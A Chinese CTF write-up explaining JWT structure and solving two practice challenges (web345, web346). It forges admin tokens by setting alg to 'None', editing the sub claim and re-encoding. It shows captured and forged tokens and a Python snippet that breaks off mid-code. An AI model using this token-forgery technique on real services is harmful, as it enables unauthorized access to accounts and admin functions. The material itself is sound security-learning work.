写在前面
陇剑杯初赛出了JWT专题的赛题,被同队大佬ak了,一直不太懂,来刷刷
JWT浅析
JWT即JSON WEB TOKEN,由三个部分组成,并用两个“.”进行连接。第一部分为header(base64加密),第二部分为payload(base64加密),第三部分为verify signature,它的构成如下:
HEADER中alg对应的加密方式为HS256,也可以选择其他对称或非对称的加密方式,大同小异。
PAYLOAD中一般包括用户信息。
Verify Signature中包括加密的密码。
JWT本质上是一种校验值,用来验证身份和数据是否被更改。
web345
查看源码得到hint:
/admin/
flag应该就在这。
抓包:
其中auth也就是JWT的值为:
auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2MzI2MjI1ODksImV4cCI6MTYzMjYyOTc4OSwibmJmIjoxNjMyNjIyNTg5LCJzdWIiOiJ1c2VyIiwianRpIjoiZDNlYjRlZTgyMThjMmNmZTVlMGQxMjM5MjNlNDc0M2EifV0
用.将值分开并进行base64解密,得到:
{"alg":"None","typ":"jwt"}
[{"iss":"admin","iat":1632622589,"exp":1632629789,"nbf":1632622589,"sub":"user","jti":"d3eb4ee8218c2cfe5e0d123923e4743a"}]
将
[{"iss":"admin","iat":1632622589,"exp":1632629789,"nbf":1632622589,"sub":"user","jti":"d3eb4ee8218c2cfe5e0d123923e4743a"}]
改为:
[{"sub":"admin"}]
并进行base64加密,然后与
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0
进行拼接得到:
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0A.W3sic3ViIjoiYWRtaW4ifV0
将auth参数的值修改并访问/admin/得到flag:
web346
抓包得到:
auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjYyNjc4MiwiZXhwIjoxNjMyNjMzOTgyLCJuYmYiOjE2MzI2MjY3ODIsInN1YiI6InVzZXIiLCJqdGkiOiJiZTNmOGIyNTk5MDgxMWQzZmQ5NDAxODA0ZTgzNDI2MSJ9.ZYm_-gnvPWCZq8MSY0tB741URv13s34THxtOrcf-nE4
使用https://jwt.io/解密得到:
可以看到使用了加密算法HS256,我们可以把它设置为“None”,再把sub对应的值改为admin:
{"alg":"None","typ":"JWT"}.{
"iss":"admin",
"iat":1632635621,
"exp":1632642821,
"nbf":1632635621,
"sub":"admin",
"jti":"0a3fac5da5f0db3addcabaf6c8babc2a"
}
使用python的jwt进行加密:
import jwt
# payload
token_dict = {
"iss":"admin",
"iat":1632635621,
"exp":1632642821,
"nbf":1632635621,
"sub":"admin",
"jti":"0a3fac5da5f0db3addcabaf6c8babc2a"
}